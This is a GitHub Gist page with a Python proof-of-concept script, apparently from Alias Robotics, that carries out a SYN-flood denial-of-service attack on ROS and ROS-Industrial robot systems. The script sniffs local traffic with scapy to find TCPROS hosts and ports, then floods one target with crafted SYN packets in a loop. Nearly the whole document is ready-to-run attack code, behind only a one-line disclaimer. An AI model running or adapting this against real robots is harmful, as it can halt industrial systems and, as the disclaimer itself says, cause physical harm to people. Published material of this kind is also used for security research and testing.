Created
September 6, 2020 09:46
-
-
Save vmayoral/d7471ea06097f050384553bf5a16edf9 to your computer and use it in GitHub Desktop.
SYN-ACK DoS attack proof-of-concept for disrupting ROS and ROS-Industrial setups.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
SYN-ACK DoS attack for ROS | |
DISCLAIMER: Use against your own hosts only! By no means Alias Robotics | |
or the authors of this exploit encourage or promote the unauthorized tampering | |
with running robotic systems. This can cause serious human harm and material | |
damages. | |
""" | |
import sys | |
from scapy.all import * | |
from robosploit.modules.generic.robotics.all import * | |
from operator import itemgetter | |
# bind layers so that packages are recognized as TCPROS | |
bind_layers(TCP, TCPROS) | |
print("Capturing network traffic...") | |
packages = sniff(iface="eth0", filter="tcp", count=20) | |
targets = {} | |
for p in packages[TCPROSBody]: | |
# Filter by ip | |
# if p[IP].src == "12.0.0.2": | |
port = p.sport | |
ip = p[IP].src | |
if ip in targets.keys(): | |
targets[ip].append(port) | |
else: | |
targets[ip] = [port] | |
# Get unique values: | |
for t in targets.keys(): | |
targets[t] = list(set(targets[t])) | |
# Select one of the targets | |
dst_target = list(map(itemgetter(0), targets.items()))[0] | |
dport_target = targets[dst_target] | |
# Small fix to meet scapy syntax on "dport" key | |
# if single value, cannot go as a list | |
if len(dport_target) < 2: | |
dport_target = dport_target[0] | |
p=IP(dst=dst_target,id=1111,ttl=99)/TCP(sport=RandShort(),dport=dport_target,seq=1232345,ack=10000,window=10000,flags="S")/"Alias Robotics SYN Flood DoS" | |
ls(p) | |
ans,unans=srloop(p,inter=0.05,retry=2,timeout=4) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment